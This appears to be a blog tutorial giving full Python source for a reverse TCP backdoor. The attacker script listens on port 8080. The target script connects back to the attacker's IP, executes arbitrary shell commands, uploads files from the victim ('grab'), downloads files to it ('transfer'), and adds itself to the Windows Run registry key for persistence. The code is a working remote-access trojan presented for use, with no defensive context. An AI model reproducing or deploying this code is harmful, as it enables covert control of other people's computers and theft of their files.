Assalamu Alaikum! Welcome to Programming Concepts
In this tutorial I am going to show you how to create a reverse TCP backdoor in python. A backdoor is a program which grants access of machine to attacker within a network. We shall be using sockets to implement TCP connection between target and attacker.
- So let's get started. Open your IDE and start coding. Create a new python file. It shall be named as "Attacker.py".
# TCP Connection
import socket# OS essentialsimport osimport time#We just imported the necessary files.#Now let's start the server and listen for the incoming connection.# Connecting Target To Attackerdef connect():# Starting Socket Servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Binding Servers.bind((socket.gethostname(), 8080))# Lestening To 1 Connections.listen(1)print ('[Info] Listening for incoming TCP connection on port 8080')# Accept Connectionconn, addr = s.accept()print ('[+] We got a connection from: ', addr)Now we create another file for target, named as "Target.py". This file will connect to the attacker.
# TCP Connection
import socket# Process Handlingimport subprocess# OS essentialsimport os# Windows Registery Handlingimport winreg as regimport time# Connecting Target To Attackerdef connect():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Try Until Not Connectedconnected = Falsewhile (connected == False):try:# Note: Please Place Attacker's IP Heres.connect(('your ip', 8080))# Connectedconnected = True# Sending Current Working Directory Of Target To Attackercwd = os.getcwd()s.send(("dir:" + str(cwd)).encode('utf-8'))except:# If Failed To Connect, Print A Dot And Try Againprint(".", end="")
In the above code we imported "subprocess" so we can run commands on target side. We also imported "winreg" so that we can put files in startup of Windows.NOTE: Please place your ip address where it says "your ip".Now open your "Attacker.py" and add the main loop of backdoor.The complete "Attacker.py" will be as follows:# TCP Connection
import socket# OS essentialsimport osimport time# Connecting Target To Attackerdef connect():# Starting Socket Servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Binding Servers.bind((socket.gethostname(), 8080))# Lestening To 1 Connections.listen(1)print ('[Info] Listening for incoming TCP connection on port 8080')# Accept Connectionconn, addr = s.accept()print ('[+] We got a connection from: ', addr)# We Do Not Know The Target's Working Directory# So Initially It Is "Shell"cwd = 'Shell'# Recieve Response From Targetr = conn.recv(5120).decode('utf-8')# If Response Contains "dir:"# It Means It Contains Target's Current Working Directoryif ('dir:' in r):# Extract Working Directory# Skip 4 Characters# Because They Are 'd', 'i', 'r', ':'cwd = r[4:]while True:# Input Command From Usercommand = input(str(cwd) + ":> ")if 'terminate' in command:# Send Command To Targetconn.send('terminate'.encode('utf-8'))# Close Connectionconn.close()# Break Loopbreakelif 'grab' in command:# Send Commandconn.send(command.encode('utf-8'))# Recieve Filenamefile_name = conn.recv(1024).decode('utf-8')print("[+] Grabbing [" + file_name + "]...")# Send Responseconn.send('OK'.encode('utf-8'))# Recieve Filesizefile_size = conn.recv(1024).decode('utf-8')# Send Responseconn.send('OK'.encode('utf-8'))# Print Size Of File In KBprint("[Info] Total: " + str(int(file_size)/1024) + " KB")# Open File For Writingwith open(file_name, "wb") as file:# File Will Be Recieved In Small Chunks Of Data# Chunks Recievedc = 0# Starting Timestart_time = time.time()# Running Loop Until c < int(file_size)while c < int(file_size):# Recieve Bytesdata = conn.recv(1024)# Break If No Dataif not (data):break# Write Data To Filefile.write(data)# Chunks Recievedc += len(data)# Ending the time capture.end_time = time.time()# Show Timeprint("[+] File Grabbed. Total time: ", end_time - start_time)elif 'transfer' in command:conn.send(command.encode('utf-8'))# Getting File Detailsfile_name = command[9:]file_size = os.path.getsize(file_name)# Sending Filenameconn.send(file_name.encode('utf-8'))# Recieve And Print Responseprint(conn.recv(1024).decode('utf-8'))# Send File Sizeconn.send(str(file_size).encode('utf-8'))print("Getting Response")print(conn.recv(1024).decode('utf-8'))print("[+] Transferring [" + str(file_size/1024) + "] KB...")# Open File For Readingwith open(file_name, "rb") as file:# Chunks Sentc = 0# Starting Timestart_time = time.time()# Running Loop Until c < int(file_size)while c < int(file_size):# Read 1024 Bytesdata = file.read(1024)# If No Data? Break The Loopif not (data):break# Send Data To Targetconn.sendall(data)# Chunks Addedc += len(data)# Ending Timeend_time = time.time()print("[+] File Transferred. Total time: ", end_time - start_time)# Otherwise If Command Is Not Nullelif (len(command.strip()) > 0):# Send Command To Targetconn.send(command.encode('utf-8'))# Read Reply From Targetr = conn.recv(5120).decode('utf-8')# If 'dir:' in Reply? Target Has Sent It's Working Directoryif ('dir:' in r):# Get Working Directorycwd = r[4:]else:# Otherwise Print Replyprint (r)# Maindef main ():connect()# Start Of Codemain()
Complete "Target.py" is as follows:# TCP Connection
import socket# Process Handlingimport subprocess# OS essentialsimport os# Windows Registery Handlingimport winreg as regimport time# Connecting Target To Attackerdef connect():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Try Until Not Connectedconnected = Falsewhile (connected == False):try:# Note: Please Place Attacker's IP Heres.connect(('your ip', 8080))# Connectedconnected = True# Sending Current Working Directory Of Target To Attackercwd = os.getcwd()s.send(("dir:" + str(cwd)).encode('utf-8'))except:# If Failed To Connect, Print A Dot And Try Againprint(".", end="")while True:try:# Recieve Command From Attackercommand = s.recv(2048).strip().decode('utf-8')# Terminate Scriptif 'terminate' in command:s.close()break# Grabbing Files# Example: grab picture.jpgelif command.startswith('grab'):# Extracting filename From Command# Skipping 1st Five Characters# Because They Are 'g', 'r', 'a', 'b', ' 'file_name = command[5:]# Getting File Sizefile_size = os.path.getsize(file_name)# Sending File Names.send(file_name.encode('utf-8'))# Recieving Response From Target# e.g., OK Responses.recv(1024).decode('utf-8')# Sending File Sizes.send(str(file_size).encode('utf-8'))# Recieving Responses.recv(1024).decode('utf-8')# Opening File To Read# File Will Be Sent In Small Chunks Of Datawith open(file_name, "rb") as file:# Chunks Sent = 0c = 0# Starting Timestart_time = time.time()# Running Loop Until c < file_sizewhile c < file_size:# Read 1024 Bytesdata = file.read(1024)# If No Bytes, Stopif not (data):break# Send Bytess.sendall(data)# Chunks Sent += Length Of Datac += len(data)# Ending Timeend_time = time.time()# Transfer File From Attacker To Target# Example: video.mp4elif 'transfer' in command:# Recieving Name Of File To Be Transferredfile_name = s.recv(1024).decode('utf-8')# Sending Responses.send('OK'.encode('utf-8'))# Recieving Size Of File To Be Transferredfile_size = s.recv(1024).decode('utf-8')# Sending Responses.send('OK'.encode('utf-8'))# Opening File For Writingwith open(file_name, "wb") as file:# Chunks Recievedc = 0# Starting Timestart_time = time.time()# Running Until c < int(file_size)while c < int(file_size):# Recieve 1024 Bytesdata = s.recv(1024)# If No Data, Stopif not (data):break# Write Bytes To Filefile.write(data)# Chunks Addedc += len(data)# Ending Timeend_time = time.time()# Changing Working Directory Of Target# Example: D:\elif command.startswith('cd '):# Extracting Directory# Skipping 3 Characters# They Are 'c', 'd', ' 'dir = command[3:]# Change Directorytry:os.chdir(dir)except:# If Failed, Revertos.chdir(cwd)# Get Updated Working Directorycwd = os.getcwd()# Send Updated Directory To Attackers.send(("dir:" + str(cwd)).encode('utf-8'))# Putting File In Startup Folder# Only Works For Windows# Example: starup T.pyelif command.startswith('startup'):# Extracting Filenamefile_name = command[8:]# Extracting Path Of File# As File Is In Current Working Directory# Get Current Working Directorypth = os.getcwd()# Put File In Startuptry:AddToStartup(file_name, pth)# Send OK To Attackers.send("OK".encode('utf-8'))# If Failed, Send Exception Message To Attackerexcept Exception as e:s.send(str(e).encode('utf-8'))# Otherwise The Command Will Be Considered As CMD OR Terminal Command# Command Will Be Executed In Terminalelse:# Executing CommandCMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)# If Command Executes Succefully# Get Output Of Commandout = CMD.stdout.read()# If Error Occured# Get Error Of Commanderr = CMD.stderr.read()# Send Outputs.send(out)# Send Errors.send(err)# Some Commads Are Executed Successfully, But# They Don't Have Any Output# For Example: del file.ext# Above Command On Execution Doesn't Show Any Output# Put Our Attacker Is Alwayes Looking For Output# So, If There Is No Output And No Error# Send OKif (out == b'' and err == b''):s.send("OK".encode('utf-8'))# If Attacker Command Was Unable To Be Executedexcept Exception as e:# Send Exception Message To Attackers.send(str(e).encode('utf-8'))# For Adding File To Windows Startupdef AddToStartup(f_name, path):# Combine Path and Filenameaddress=os.path.join(path, f_name)# Key To Change: HKEY_CURRENT_USER# Key Value: Software\Microsoft\Windows\CurrentVersion\Runkey = reg.HKEY_CURRENT_USERkey_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"# Opening Key To Make Changesopen = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)# Modifiy The Keyreg.SetValueEx(open, "any_name", 0, reg.REG_SZ, address)# Closingreg.CloseKey(open)# Start Of Script# If Connection Breaks# Script Tries To Connect Again And Againconnected = Falsewhile (not connected):try:connect()connected = Trueexcept:print(".", end = "")
Code: GitHub Repository